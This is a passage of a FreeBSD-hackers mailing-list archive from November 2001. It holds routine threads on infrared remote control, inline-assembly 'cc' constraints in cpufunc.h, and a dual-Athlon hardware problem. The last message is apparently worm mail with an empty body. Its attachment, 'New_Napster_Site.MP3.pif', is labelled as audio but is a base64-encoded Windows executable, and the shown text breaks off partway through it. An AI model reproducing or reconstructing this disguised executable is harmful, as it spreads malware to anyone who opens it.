AEylVPhKoVL+u09O/s3Mxf7LxMD8SLVN4E69U/7PIND4sk9H8DAy3/zIJdD+ySHS/s083/6DgWps lQozMvC2Q7WlX7JPQ7myX029s7a1TLVai2+GinedaFVCjWWDbI9rb4ZEUoeVbpqPd0tau3FyaJmO SJSBjGOVb05YqGlQj2ibZf5jgWpslQozKqyVdmX+Y5RsEK6UbGz+g04fyDHDxiWubopz/m2RkRCu lo9qbZGREKibb23+cZOLZYR3sJaPam2RkRCom29t/nGTi2WEd7CWj2ptkZEQqJtvbfykcZNr3mWP ddksnrdv3JaKed5h3muBamUh/nd3d/jisZzqAODOdQD4tHAA/r1wAPxicAD+b3AA/g0AAADgcADw WHAA/kVwAPw2cAD+KXAA+BxwAPz2cAD+GQAAAAAAAP4BAAAAAAAAAAAAAAAAAAD8QgAAAAAAAAAA /l/9D/3yCg== --====_ABC1234567890DEF_==== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 9:34:18 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from manor.msen.com (manor.msen.com [148.59.4.66]) by hub.freebsd.org (Postfix) with ESMTP id 9486A37B419 for ; Mon, 26 Nov 2001 09:34:16 -0800 (PST) Received: (from wayne@localhost) by manor.msen.com (8.9.3/8.9.3) id MAA43803 for freebsd-hackers@FreeBSD.ORG; Mon, 26 Nov 2001 12:34:15 -0500 (EST) (envelope-from wayne) Date: Mon, 26 Nov 2001 12:34:15 -0500 From: "Michael R. Wayne" To: freebsd-hackers@FreeBSD.ORG Subject: Re: Infrared emitters under FreeBSD Message-ID: <20011126123415.M67008@staff.msen.com> References: <20011125212321.A45020@sigbus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20011125212321.A45020@sigbus.com>; from henrich@sigbus.com on Sun, Nov 25, 2001 at 09:23:21PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 25, 2001 at 09:23:21PM -0800, Charles Henrich wrote: > Has anyone out there played with controlling an infrared emitter from a > FreeBSD box? Ideally I'd love to be able to control my satellite receiver > from a remote location, streaming the video out at the same time :) > > So far I've only found a TekRam IRMate, but its only available in germany :(. > > Anyone out there have any luck with a project like this? http://www.evation.com/irman/ /\/\ \/\/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 9:43:46 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail11.speakeasy.net (mail11.speakeasy.net [216.254.0.211]) by hub.freebsd.org (Postfix) with ESMTP id 4FFF837B41E for ; Mon, 26 Nov 2001 09:43:34 -0800 (PST) Received: (qmail 27326 invoked from network); 26 Nov 2001 17:43:57 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 26 Nov 2001 17:43:57 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <005201c17331$c603bcd0$ef01a8c0@davidwnt> Date: Mon, 26 Nov 2001 09:43:32 -0800 (PST) From: John Baldwin To: David Xu Subject: Re: add some constraints in cpufunc.h Cc: freebsd-hackers@FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 22-Nov-01 David Xu wrote: > According to GCC manual of inline assembler instruction, it says if your > instruction > changes condition code register(on X86, it's cpu flag register, and a simple > addl > instruction can affect it), you'd put cc there, I have reviewed some source > header > files of bus management, they all have cc constraint, but others not, and > some > lines lost __volatile__ keyword, GCC can feel free to optimize them and > re-order > or delete these lines when it thinks this is a right decision, this could be > dangerous > when high optimizing option is turned on. Bah, fair enough. There are probably several places that are missing "cc". I doubt that there are very many bugs from this though, since "cc" is clobbered very often during normal program flow. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 10:18:19 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailbeast.ahaza.com (mailbeast.ahaza.com [209.180.221.132]) by hub.freebsd.org (Postfix) with ESMTP id 5840A37B416 for ; Mon, 26 Nov 2001 10:18:17 -0800 (PST) Received: from akira.ahaza.com (akira.ahaza.com [172.16.30.230]) by mailbeast.ahaza.com (8.11.1/8.11.1) with ESMTP id fAQIIBX23315; Mon, 26 Nov 2001 10:18:11 -0800 (PST) (envelope-from quark@akira.ahaza.com) Received: (from quark@localhost) by akira.ahaza.com (8.11.6/8.11.6) id fAQIIm700413; Mon, 26 Nov 2001 10:18:48 -0800 (PST) (envelope-from quark) Date: Mon, 26 Nov 2001 10:18:48 -0800 From: Tim Wiess To: Peter Wemm Cc: hackers@FreeBSD.ORG Subject: Re: Problems with Dual Athlons Message-ID: <20011126101848.A381@ahaza.com> Mail-Followup-To: Peter Wemm , hackers@FreeBSD.ORG References: <20011123214727.A6220@ahaza.com> <20011124062743.5799A380D@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011124062743.5799A380D@overcee.netplex.com.au>; from peter@wemm.org on Fri, Nov 23, 2001 at 10:27:43PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > When did you last cvsup? A few weeks ago. > My desktop machine at work is a tyan thunder k7 (S2462), I have no trouble > with it under FreeBSD. This is essentially the same as yours but you dont > have onboard ethernet, scsi or (I think) video. Yeah, that's true. I'm glad to hear that you are not having any problems. I'm sure my problem is just hardware related. I'm going to be swapping out the power supply (since the Athlon MPs are picky about power supplies) and the memory, and see what happens. Thanks for your feedback. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 10:21:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailbeast.ahaza.com (mailbeast.ahaza.com [209.180.221.132]) by hub.freebsd.org (Postfix) with ESMTP id 8F22937B419 for ; Mon, 26 Nov 2001 10:21:45 -0800 (PST) Received: from akira.ahaza.com (akira.ahaza.com [172.16.30.230]) by mailbeast.ahaza.com (8.11.1/8.11.1) with ESMTP id fAQILiX23352; Mon, 26 Nov 2001 10:21:44 -0800 (PST) (envelope-from quark@akira.ahaza.com) Received: (from quark@localhost) by akira.ahaza.com (8.11.6/8.11.6) id fAQIMMR00438; Mon, 26 Nov 2001 10:22:22 -0800 (PST) (envelope-from quark) Date: Mon, 26 Nov 2001 10:22:22 -0800 From: Tim Wiess To: cameron grant Cc: hackers@freebsd.org Subject: Re: Problems with Dual Athlons Message-ID: <20011126102222.B381@ahaza.com> Mail-Followup-To: cameron grant , hackers@freebsd.org References: <20011123144529.A5628@ahaza.com> <004001c174dd$ec8729c0$0504020a@haveblue> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <004001c174dd$ec8729c0$0504020a@haveblue>; from gandalf@vilnya.demon.co.uk on Sat, Nov 24, 2001 at 11:48:24AM -0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 11:48:24AM -0000, cameron grant wrote: > > For the record, I'm running the 1.2Ghz Athlons on a Tyan S2460 board with > > 256MB of 266Mhz DDR-SDRAM. > > check that your bus speed jumpers are correctly set as per the errata sheet, > not the manual. if you don't have an errata sheet, check tyan's web site. > some boards were sent out with incorrect manuals, mine included, and i had > identical symptoms when running my duron 1100s at 1266mhz (115mhz bus speed, > undocumented on the s2460). Everything on the motherboard is as it should be. As I mentioned to Peter, I going to be swapping out a couple things (power supply, memory) which may be the cause of the problem. We'll see... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Nov 26 12: 6: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mta05ps.bigpond.com (mta05ps.bigpond.com [144.135.25.137]) by hub.freebsd.org (Postfix) with ESMTP id E158037B503 for ; Mon, 26 Nov 2001 12:05:18 -0800 (PST) Received: from aol.com ([144.135.25.81]) by mta05ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GNFC3O00.3PM for ; Tue, 27 Nov 2001 06:11:48 +1000 Received: from 144.138.133.65 ([144.138.133.65]) by psmam05.mailsvc.email.bigpond.com(MailRouter V2.9k 8410/20853051); 27 Nov 2001 06:05:01 From: "Anita & Chris" <_agccss@bigpond.com> To: hackers@FreeBSD.org Subject: Re: MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: <20011126200518.E158037B503@hub.freebsd.org> Date: Mon, 26 Nov 2001 12:05:18 -0800 (PST) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="New_Napster_Site.MP3.pif" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAoxs1SbKejAWynowFsp6MBF7uvAWinowHvu60BbqejAYS4qQF2p6MBhLin AW6nowEOuLABZaejAWynogHyp6MBhLioAWCnowHUoaUBbaejAVJpY2hsp6MBAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAUEUAAEwBAwCoIP47AAAAAAAAAADgAA8BCwEGAABwAAAAEAAAANAAAEBHAQAA 4AAAAFABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQ AAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAABkUAEAMAEAAABQAQBkAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAEAAAAAAAAAAEAAAA AAAAAAAAAAAAAACAAADgAAAAAAAAAAAAcAAAAOAAAABqAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5y c3JjAAAAABAAAABQAQAAAgAAAG4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 